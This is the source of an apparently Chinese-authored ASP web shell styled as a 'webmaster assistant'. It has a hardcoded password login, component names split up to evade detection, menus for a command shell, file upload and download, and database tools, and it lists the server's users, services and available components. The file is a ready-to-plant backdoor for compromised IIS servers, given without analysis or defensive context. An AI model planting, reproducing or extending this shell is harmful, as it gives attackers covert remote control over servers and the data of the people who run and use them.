<%
		Server.ScriptTimeout=50000
		Response.Buffer = True
		On Error Resume Next
		ApplicationName = "《=◆天赋异能 谁与争峰 你的电脑 我的权限◆=》"
		UserPass        = "0770"  '登陆密码
		URL             = Request.ServerVariables("URL")
		ServerIP        = Request.ServerVariables("LOCAL_ADDR")
		Action          = Request("Action")
		RootPath        = Server.MapPath(".")
		WWWRoot         = Server.MapPath("/")
		FolderPath      = Request("FolderPath")
		FName           = Request("FName")
		BackUrl         = "<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
		If Session("webadmin")<>UserPass Then
		  If Request.Form("Pass")<>"" Then
		    If Request.Form("Pass")=UserPass Then
		      Session("webadmin")=UserPass
		      Response.Redirect URL
		    Else
		  response.write"密码错误~滚远点!"
		    End If
		  Else
		    SI="<center style='font-size:12px'><br><br>《=◆天赋异能 谁与争峰 你的电脑 我的权限◆=》<br><br>"
		    SI=SI&"<form action='"&URL&"' method='post'>"
		    SI=SI&"密码:<input name='Pass' type='password' size='15'>"
		    SI=SI&" <input type='submit' value='登录'></form></center>"
		    Response.Write SI
		  End If
		  Response.End
		End If
		sub ShowErr()
		  If Err Then
		    Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
		    Err.Clear:Response.Flush
		  End If  
		end sub
		
		Dim ObT(13,2)
		ObT(0,0) = "Sc"&DEfd&"rip"&DEfd&"ting"&DEfd&".F"&DEfd&"ileS"&DEfd&"yste"&DEfd&"mObj"&DEfd&"ect"
		  ObT(0,2) = "文件操作组件"
		ObT(1,0) = "w"&DEfd&"sc"&DEfd&"ri"&DEfd&"pt.s"&DEfd&"he"&DEfd&"ll"
		  ObT(1,2) = "命令行执行组件"
		ObT(2,0) = "ADOX.Catalog"
		  ObT(2,2) = "ACCESS建库组件"
		ObT(3,0) = "JRO.JetEngine"
		  ObT(3,2) = "ACCESS压缩组件"
		ObT(4,0) = "Scrip"&DEfd&"ting"&DEfd&".D"&DEfd&"icti"&DEfd&"onary"
		  ObT(4,2) = "数据流上传辅助组件"
		ObT(5,0) = "Adodb.connection"
		  ObT(5,2) = "数据库连接组件"
		ObT(6,0) = "Ado"&DEfd&"d"&DEfd&"b"&DEfd&".S"&DEfd&"tre"&DEfd&"am"
		  ObT(6,2) = "数据流上传组件"
		ObT(7,0) = "SoftArtisans.FileUp"
		  ObT(7,2) = "SA-FileUp 文件上传组件"
		ObT(8,0) = "LyfUpload.UploadFile"
		  ObT(8,2) = "刘云峰文件上传组件"
		ObT(9,0) = "Persits.Upload.1"
		  ObT(9,2) = "ASPUpload 文件上传组件"
		ObT(10,0) = "JMail.SmtpMail"
		  ObT(10,2) = "JMail 邮件收发组件"
		ObT(11,0) = "CDONTS.NewMail"
		  ObT(11,2) = "虚拟SMTP发信组件"
		ObT(12,0) = "SmtpMail.SmtpMail.1"
		  ObT(12,2) = "SmtpMail发信组件"
		ObT(13,0) = "Microsoft.XMLHTTP"
		  ObT(13,2) = "数据传输组件"
		For i=0 To 13
		Set T=Server.CreateObject(ObT(i,0))
		If -2147221005 <> Err Then
		   IsObj=True
		Else
		   IsObj=false
		   Err.Clear
		End If
		Set T=Nothing
		ObT(i,1)=IsObj
		Next
		
		Function RePath(S)
		  RePath=Replace(S,"","")
		End Function
		Function RRePath(S)
		  RRePath=Replace(S,"","")
		End Function
		If FolderPath<>"" then
		  Session("FolderPath")=RRePath(FolderPath)
		End If
		If Session("FolderPath")="" Then
		  FolderPath=RootPath
		  Session("FolderPath")=FolderPath
		End if
		Function MainForm()
		  SI="<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">"
		  SI=SI&"<input type=""hidden"" name=""Action"">"
		  SI=SI&"<input type=""hidden"" name=""FName"">"
		  SI=SI&"</form>"
		  SI=SI&"<table width='100%' height='100%'  border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>"
		  SI=SI&"<tr><td height='30' colspan='2'>"
		  SI=SI&"<table width='100%' height='25'  border='0' cellpadding='0' cellspacing='0'>"
		  SI=SI&"<form name='addrform' method='post' action='"&URL&"' target='_parent'>"
		  SI=SI&"<tr><td width='60' align='center'>地址栏:</td><td>"
		  SI=SI&"<input name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>"
		  SI=SI&"</td><td width='60' align='center'><input name='Submit' type='submit' value='转到'>"
		  SI=SI&"</td></tr></form></table></td></tr><tr><td width='160'>"
		  SI=SI&"<iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='2' scrolling='yes'></iframe></td>"
		  SI=SI&"<td>"
		  SI=SI&"<iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe>"
		  SI=SI&"</td></tr></table>"
		  Response.Write SI
		End Function
		
		Function MainMenu()
		  SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
		  SI=SI&"<tr><td height='5'></td></tr>"
		  SI=SI&"<tr><td> "
		  SI=SI&"FSO文件操作模块"
		  SI=SI&"</td></tr>"
		  If Not ObT(0,1) Then
		    SI=SI&"<tr><td height='20'></td></tr>"
		  Else
		  Set ABC=New LBF:SI=SI&ABC.ShowDriver():Set ABC=Nothing
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:ShowFolder(""C:Progra~1"")'>C:Progra~1</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:ShowFolder(""C:Docume~1"")'>C:Docume~1</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>站点根目录</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>本程序目录</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"NewFolder")&""",""NewFolder"")'>新建目录</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='?Action=EditFile' target='FileFrame'>新建文本</a>"
		  SI=SI&"</td></tr>"
		  End If
		  Response.Write SI:SI=""
		  
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='?Action=UpFile' target='FileFrame'>文件上传模块</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'> "
		  SI=SI&"数据库操作模块"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"New.mdb")&""",""CreateMdb"")'>建立MDB文件</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='?Action=DbManager' target='FileFrame'>数据库操作</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'>    "
		  SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"data.mdb")&""",""CompactMdb"")'>压缩MDB文件</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'> "
		  SI=SI&"<a href='?Action=CmdShell' target='FileFrame'>命令行模块</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'> "
		  SI=SI&"<a href='?Action=Course' target='FileFrame'>系统服务列表</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'> "
		  SI=SI&"<a href='?Action=ServerInfo' target='FileFrame'>服务器信息</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'> "
		  SI=SI&"<a href='?Action=Logout' target='_top'>退出登录</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"<tr><td height='20'> "
		  SI=SI&"<a href='http://www.gxgl.com' target='_blank'>桂林老兵站</a>"
		  SI=SI&"</td></tr>"  
		  SI=SI&"<tr><td height='20'>"
		  SI=SI&"<br> 站长助手6 增强版<br> by lzhj QQ:56824448</a>"
		  SI=SI&"</td></tr>"
		  SI=SI&"</table>"
		  Response.Write SI : SI=""
		End Function
		Function Course()
		  SI="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
		  SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>系统用户与服务</td></tr>"
		  on error resume next
		  for each obj in getObject("WinNT://.")
		  err.clear
		  if OBJ.StartType="" then
		  SI=SI&"<tr>"
		  SI=SI&"<td height=""20"" bgcolor=""#FFFFFF""> "
		  SI=SI&obj.Name
		  SI=SI&"</td><td bgcolor=""#FFFFFF""> "
		  SI=SI&"系统用户(组)"
		  SI=SI&"</td></tr>"
		  SI0="<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2""> </td></tr>"
		  end if
		  if OBJ.StartType=2 then lx="自动"
		  if OBJ.StartType=3 then lx="手动"  
		  if OBJ.StartType=4 then lx="禁用"
		  if LCase(mid(obj.path,4,3))<>"win" and OBJ.StartType=2 then
		  SI1=SI1&"<tr><td height=""20"" bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#FF0000> "&obj.path&"</font></td></tr>"
		  else
		  SI2=SI2&"<tr><td height=""20"" bgcolor=""#FFFFFF""> "&obj.Name&"</td><td height=""20"" bgcolor=""#FFFFFF""> "&obj.DisplayName&"<tr><td height=""20"" bgcolor=""#FFFFFF"" colspan=""2"">[启动类型:"&lx&"]<font color=#008000> "&obj.path&"</font></td></tr>"
		  end if
		  next
		  Response.Write SI&SI0&SI1&SI2&"</table>"
		End Function
		Function ServerInfo()
		  SI="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'>"
		  SI=SI&"<tr><td height='20' colspan='3' align='center' bgcolor='menu'>服务器组件信息</td></tr>"
		  SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器名</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&request.serverVariables("SERVER_NAME")&"</td></tr>"
		  SI=SI&"<form method=post action='http://www.ip138.com/index.asp' name='ipform' target='_blank'><tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器IP</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"
		  SI=SI&"<input type='text' name='ip' size='15' value='"&Request.ServerVariables("LOCAL_ADDR")&"'style='border:0px'><input type='submit' value='查询'style='border:0px'><input type='hidden' name='action' value='2'></td></tr></form>"
		  SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器时间</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&now&" </td></tr>"
		  SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器CPU数量</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("NUMBER_OF_PROCESSORS")&"</td></tr>"
		  SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>服务器操作系统</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("OS")&"</td></tr>"
		  SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>WEB服务器版本</td><td bgcolor='#FFFFFF'> </td><td bgcolor='#FFFFFF'>"&Request.ServerVariables("SERVER_SOFTWARE")&"</td></tr>"
		  For i=0 To 13
		    SI=SI&"<tr align='center'><td height='20' width='200' bgcolor='#FFFFFF'>"&ObT(i,0)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,1)&"</td><td bgcolor='#FFFFFF'>"&ObT(i,2)&"</td></tr>"
		  Next
		  Response.Write SI
		End Function
		Function DownFile(Path)
		  Response.Clear
		  Set OSM = CreateObject(ObT(6,0))
		  OSM.Open
		  OSM.Type = 1
		  OSM.LoadFromFile Path
		  sz=InstrRev(path,"")+1
		    Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(path,sz)
		    Response.Charset = "UTF-8"
		    Response.ContentType = "application/octet-stream"
		    Response.BinaryWrite OSM.Read
		    Response.Flush
		  OSM.Close
		  Set OSM = Nothing
		End Function
		
		Function HTMLEncode(S)
		  if not isnull(S) then
		    S = replace(S, ">", ">")
		    S = replace(S, "<", "<")
		    S = replace(S, CHR(39), "'")
		    S = replace(S, CHR(34), """)
		    S = replace(S, CHR(20), " ")
		    HTMLEncode = S
		  end if
		End Function